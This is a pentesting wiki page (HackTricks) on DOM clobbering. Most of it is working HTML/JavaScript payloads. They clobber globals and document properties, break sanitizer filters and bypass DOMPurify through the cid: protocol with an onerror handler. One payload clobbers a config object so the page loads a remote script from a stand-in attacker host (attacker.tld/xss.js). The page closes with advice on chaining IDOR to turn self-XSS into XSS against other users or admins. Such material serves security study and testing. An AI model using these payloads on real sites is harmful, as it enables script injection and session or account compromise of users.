dom-clobbering.md (14500B)
1 --- 2 title: "Dom Clobbering" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Dom Clobbering 14 15 ## **Basics** 16 17 It's possible to generate **global variables inside the JS context** with the attributes **`id`** and **`name`** in HTML tags.<sup>[[2]](#references)</sup> 18 19 ```html 20 <form id="x"></form> 21 <script> 22 console.log(typeof document.x) //[object HTMLFormElement] 23 </script> 24 ``` 25 26 **Only** certain elements can use the **name attribute** to clobber globals, they are: `embed`, `form`, `iframe`, `image`, `img` and `object`. 27 28 Interestingly, when you use a **form element** to **clobber** a variable, you will get the **`toString`** value of the element itself: `[object HTMLFormElement]` but with **anchor** the **`toString`** will be the anchor **`href`**. Therefore, if you clobber using the **`a`** tag, you can **control** the **value** when it's **treated as a string**: 29 30 ```html 31 <a href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/controlled%20string" id="x"></a> 32 <script> 33 console.log(x) //controlled string 34 </script> 35 ``` 36 37 ### Arrays & Attributes 38 39 It's also possible to **clobber an array** and **object attributes**: 40 41 ```html 42 <a id="x"> 43 <a id="x" name="y" href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/controlled"> 44 <script> 45 console.log(x[1]) //controlled 46 console.log(x.y) //controlled 47 </script></a 48 ></a 49 > 50 ``` 51 52 To clobber **a 3rd attribute** (e.g. x.y.z), you need to use a **`form`**: 53 54 ```html 55 <form id="x" name="y"><input id="z" value="controlled" /></form> 56 <form id="x"></form> 57 <script> 58 alert(x.y.z.value) //controlled 59 </script> 60 ``` 61 62 Clobbering more attributes is **more complicated but still possible**, using iframes: 63 64 ```html 65 <iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe> 66 <style> 67 @import "https://google.com"; 68 </style> 69 <script> 70 alert(x.y) //controlled 71 </script> 72 ``` 73 74 > [!WARNING] 75 > The style tag is used to **give enough time to the iframe to render**. Without it you will find an alert of **undefined**. 76 77 To clobber deeper attributes, you can use **iframes with html encoding** this way: 78 79 ```html 80 <iframe 81 name="a" 82 srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe> 83 <style> 84 @import "https://google.com"; 85 </style> 86 <script> 87 alert(a.b.c.d.e) //controlled 88 </script> 89 ``` 90 91 ### **Filter Bypassing** 92 93 If a filter is **looping** through the **properties** of a node using something like `document.getElementByID('x').attributes` you could **clobber** the attribute **`.attributes`** and **break the filter**. Other DOM properties like **`tagName`** , **`nodeName`** or **`parentNode`** and more are also **clobberable**.<sup>[[2]](#references)</sup> 94 95 ```html 96 <form id="x"></form> 97 <form id="y"> 98 <input name="nodeName" /> 99 </form> 100 <script> 101 console.log(document.getElementById("x").nodeName) //FORM 102 console.log(document.getElementById("y").nodeName) //[object HTMLInputElement] 103 </script> 104 ``` 105 106 ## **Clobbering `window.someObject`** 107 108 In JavaScript it's common to find: 109 110 ```javascript 111 var someObject = window.someObject || {} 112 ``` 113 114 Manipulating HTML on the page allows overriding `someObject` with a DOM node, potentially introducing security vulnerabilities. For example, you can replace `someObject` with an anchor element pointing to a malicious script: 115 116 ```html 117 <a id=someObject href=//malicious-website.com/malicious.js></a> 118 ``` 119 120 In a vulnerable code such as: 121 122 ```html 123 <script> 124 window.onload = function () { 125 let someObject = window.someObject || {} 126 let script = document.createElement("script") 127 script.src = someObject.url 128 document.body.appendChild(script) 129 } 130 </script> 131 ``` 132 133 This method exploits the script source to execute unwanted code.<sup>[[2]](#references)</sup> 134 135 **Trick**: **`DOMPurify`** allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** will make the HTML encoded `"` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.<sup>[[4]](#references)</sup> 136 137 Another technique uses a **`form`** element. Certain client-side libraries inspect the attributes of a newly created form element to clean them. However, by adding an `input` with `id=attributes` inside the form, you effectively overwrite the attributes property, preventing the sanitizer from accessing the actual attributes. 138 139 You can [**find an example of this type of clobbering in this CTF writeup**](/hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp#iframes-in-sop-2). 140 141 ## Clobbering document object 142 143 According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering: 144 145 > The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both: 146 > 147 > \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\ 148 > \ 149 > \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\ 150 > \ 151 > \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root). 152 153 Using this technique you can overwrite commonly used **values such as `document.cookie`, `document.body`, `document.children`**, and even methods in the Document interface like `document.querySelector`. 154 155 ```javascript 156 document.write("<img name=cookie />") 157 158 document.cookie 159 <img name="cookie"> 160 161 typeof(document.cookie) 162 'object' 163 164 //Something more sanitize friendly than a img tag 165 document.write("<form name=cookie><input id=toString></form>") 166 167 document.cookie 168 HTMLCollection(2) [img, form, cookie: img] 169 170 typeof(document.cookie) 171 'object 172 ``` 173 174 ## Writing after the element clobbered 175 176 The results of calls to **`document.getElementById()`** and **`document.querySelector()`** can be altered by injecting a `<html>` or `<body>` tag with an identical id attribute. Here's how it can be done:<sup>[[1]](#references)</sup> 177 178 ```html 179 <div style="display:none" id="cdnDomain" class="x">test</div> 180 <p> 181 <html id="cdnDomain" class="x"> 182 clobbered 183 </html> 184 <script> 185 alert(document.getElementById("cdnDomain").innerText) // Clobbered 186 alert(document.querySelector(".x").innerText) // Clobbered 187 </script> 188 </p> 189 ``` 190 191 Furthermore, by employing styles to hide these injected HTML/body tags, interference from other text in the `innerText` can be prevented, thus enhancing the efficacy of the attack: 192 193 ```html 194 <div style="display:none" id="cdnDomain">test</div> 195 <p>existing text</p> 196 <html id="cdnDomain"> 197 clobbered 198 </html> 199 <style> 200 p { 201 display: none; 202 } 203 </style> 204 <script> 205 alert(document.getElementById("cdnDomain").innerText) // Clobbered 206 </script> 207 ``` 208 209 Investigations into SVG revealed that a `<body>` tag can also be utilized effectively: 210 211 ```html 212 <div style="display:none" id="cdnDomain">example.com</div> 213 <svg> 214 <body id="cdnDomain"> 215 clobbered 216 </body> 217 </svg> 218 <script> 219 alert(document.getElementById("cdnDomain").innerText) // Clobbered 220 </script> 221 ``` 222 223 For the HTML tag to function within SVG in browsers like Chrome and Firefox, a `<foreignobject>` tag is necessary: 224 225 ```html 226 <div style="display:none" id="cdnDomain">example.com</div> 227 <svg> 228 <foreignobject> 229 <html id="cdnDomain"> 230 clobbered 231 </html> 232 </foreignobject> 233 </svg> 234 <script> 235 alert(document.getElementById("cdnDomain").innerText) // Clobbered 236 </script> 237 ``` 238 239 ## Clobbering Forms 240 241 It's possible to add **new entries inside a form** just by **specifying the `form` attribute** inside some tags. You can use this to **add new values inside a form** and to even add a new **button** to **send it** (clickjacking or abusing some `.click()` JS code): 242 243 ```html 244 <!--Add a new attribute and a new button to send--> 245 <textarea form="id-other-form" name="info"> 246 ";alert(1);// 247 </textarea> 248 <button form="id-other-form" type="submit" formaction="/edit" formmethod="post"> 249 Click to send! 250 </button> 251 ``` 252 253 - For more form attributes in [**button check this**](https://www.w3schools.com/tags/tag_button.asp)**.** 254 255 256 ## HTMLCollection-backed config object clobbering 257 258 A very practical pattern is when the application reads a config object from `window` and later uses one of its properties in a sink such as `script.src`:<sup>[[3]](#references)[[5]](#references)</sup> 259 260 ```javascript 261 let config = window.PixelAnalyticsConfig || { 262 enabled: false, 263 scriptUrl: '/js/mock-tracker.js' 264 }; 265 if (config.enabled) { 266 let s = document.createElement('script'); 267 s.src = config.scriptUrl; 268 document.body.appendChild(s); 269 } 270 ``` 271 272 If you can inject HTML and the sanitizer keeps `id` / `name`, duplicate IDs can create an `HTMLCollection` on `window`, and named members of that collection become properties of the clobbered object: 273 274 ```html 275 <a id="PixelAnalyticsConfig"></a> 276 <a id="PixelAnalyticsConfig" name="enabled"></a> 277 <a id="PixelAnalyticsConfig" name="scriptUrl" href="https://attacker.tld/xss.js"></a> 278 ``` 279 280 Then the browser resolves something similar to: 281 282 ```javascript 283 window.PixelAnalyticsConfig // HTMLCollection (truthy) 284 window.PixelAnalyticsConfig.enabled // <a name="enabled"> (truthy) 285 window.PixelAnalyticsConfig.scriptUrl // <a name="scriptUrl" href="https://attacker.tld/xss.js"> 286 ``` 287 288 This is powerful because the code often only checks **truthiness**, not types. When `script.src = config.scriptUrl` executes, the browser coerces the anchor element to a string, and anchors stringify to their `href`. Therefore a DOM clobbering primitive becomes a **remote script loader**.<sup>[[3]](#references)</sup> 289 290 ### Why this is frequently exploitable 291 292 1. The app treats `window.someConfig || {}` as trusted. 293 2. Duplicate IDs produce an `HTMLCollection` instead of a single node. 294 3. `name` attributes become object-like properties on that collection. 295 4. URL-valued sinks (`script.src`, `iframe.src`, `fetch()`, redirects, etc.) coerce DOM nodes to strings. 296 5. If CSP allows the target origin, or no restrictive `script-src` exists, attacker JS executes.<sup>[[6]](#references)</sup> 297 298 ### Chaining note: converting self-XSS into higher-impact XSS 299 300 If the HTML injection is only rendered inside the attacker's own storage bucket (profile, draft, testimonial list, etc.), DOM clobbering may initially look like self-XSS. Check whether predictable session cookies, IDOR/BOLA, shared objects, or authorization flaws let you: 301 302 1. **Store** the payload in another user's scope. 303 2. **Render** that same stored payload while authenticated as the victim/admin. 304 305 This is especially relevant when the sink is only reached after loading user-specific content.<sup>[[3]](#references)</sup> 306 307 ## References 308 309 - [1] [PortSwigger Research: Hijacking service workers via DOM clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering) 310 - [2] [PortSwigger Web Security Academy: DOM clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering) 311 - [3] [How I Chained Three Bugs to XSS an Intigriti CTF — IDOR + DOM Clobbering + DOMPurify 3.0.9 Bypass](https://prateekpulastya.medium.com/how-i-chained-three-bugs-to-xss-an-intigriti-ctf-idor-dom-clobbering-dompurify-3-0-9-bypass-25b74fc7afc7) 312 - [4] [DOMPurify repository / configuration examples](https://github.com/cure53/DOMPurify) 313 - [5] [Lab: Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering) 314 - [6] [Bypassing CSP via DOM clobbering](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)